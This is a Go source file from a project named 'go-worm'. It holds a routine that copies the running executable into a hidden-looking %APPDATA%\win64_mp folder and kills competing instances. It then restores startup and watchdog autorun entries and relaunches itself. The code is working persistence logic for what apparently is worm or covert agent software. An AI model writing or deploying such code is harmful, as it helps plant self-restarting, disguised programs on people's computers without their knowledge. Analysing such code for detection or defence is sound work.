go-worm/lib/install/install.go

package install

import (
	"fmt"
	"io"
	"os"
	"path/filepath"
	"strings"
	"time"

	"tea.chunkbyte.com/kato/go-worm/lib/config"
	"tea.chunkbyte.com/kato/go-worm/lib/helpers"
	"tea.chunkbyte.com/kato/go-worm/lib/instance"
	"tea.chunkbyte.com/kato/go-worm/lib/startup"
)

const replaceWait = 8 * time.Second

// Ensure copies the running exe into %APPDATA%\win64_mp\ when needed,
// refreshes an existing startup entry to that path, and re-launches from there.
// If an older agent is already installed or listening, it is torn down first.
// Old builds have no version field to compare, so any launch from outside
// the install path takes over.
func Ensure() error {
	target, err := config.InstalledExe()
	if err != nil {
		return err
	}
	current, err := os.Executable()
	if err != nil {
		return err
	}
	current, err = filepath.Abs(current)
	if err != nil {
		return err
	}
	target, err = filepath.Abs(target)
	if err != nil {
		return err
	}
	if samePath(current, target) {
		_ = syncStartup()
		return nil
	}

	hadStartup := startup.Enabled()
	hadWatchdog := startup.WatchdogEnabled()
	takeover(target)
	if err := replaceExe(current, target); err != nil {
		return fmt.Errorf("copy to %s: %w", target, err)
	}
	if hadStartup {
		if err := startup.Enable(); err != nil {
			helpers.Log.Printf("takeover: restore startup: %v", err)
		}
	}
	if hadWatchdog {
		if err := startup.EnableWatchdog(); err != nil {
			helpers.Log.Printf("takeover: restore watchdog: %v", err)
		}
	}

	return relaunchInstalled(target)
}

func takeover(installed string) {
	helpers.Log.Printf("takeover: replacing %s", installed)
	if err := startup.Disable(); err != nil {
		helpers.Log.Printf("takeover: disable old startup: %v", err)
	}
	if err := startup.DisableWatchdog(); err != nil {
		helpers.Log.Printf("takeover: disable old watchdog: %v", err)
	}
	if err := instance.KillOtherAgents(); err != nil {
		helpers.Log.Printf("takeover: kill: %v", err)
	}
}

func replaceExe(from, to string) error {
	deadline := time.Now().Add(replaceWait)
	var last error
	for {
		_ = instance.KillOtherAgents()
		_ = os.Remove(to)
		last = copyExe(from, to)
		if last == nil {
			return nil
		}
		if time.Now().After(deadline) {
			return last
		}
		time.Sleep(100 * time.Millisecond)
	}
}

func copyExe(from, to string) error {
	if err := os.MkdirAll(filepath.Dir(to), 0o700); err != nil {
		return err
	}
	src, err := os.Open(from)
	if err != nil {
		return err
	}
	defer src.Close()

	dst, err := os.OpenFile(to, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0o700)
	if err != nil {
		return err
	}
	defer dst.Close()

	if _, err := io.Copy(dst, src); err != nil {
		return err
	}
	return nil
}

func samePath(a, b string) bool {
	a = filepath.Clean(a)
	b = filepath.Clean(b)
	return strings.EqualFold(a, b)
}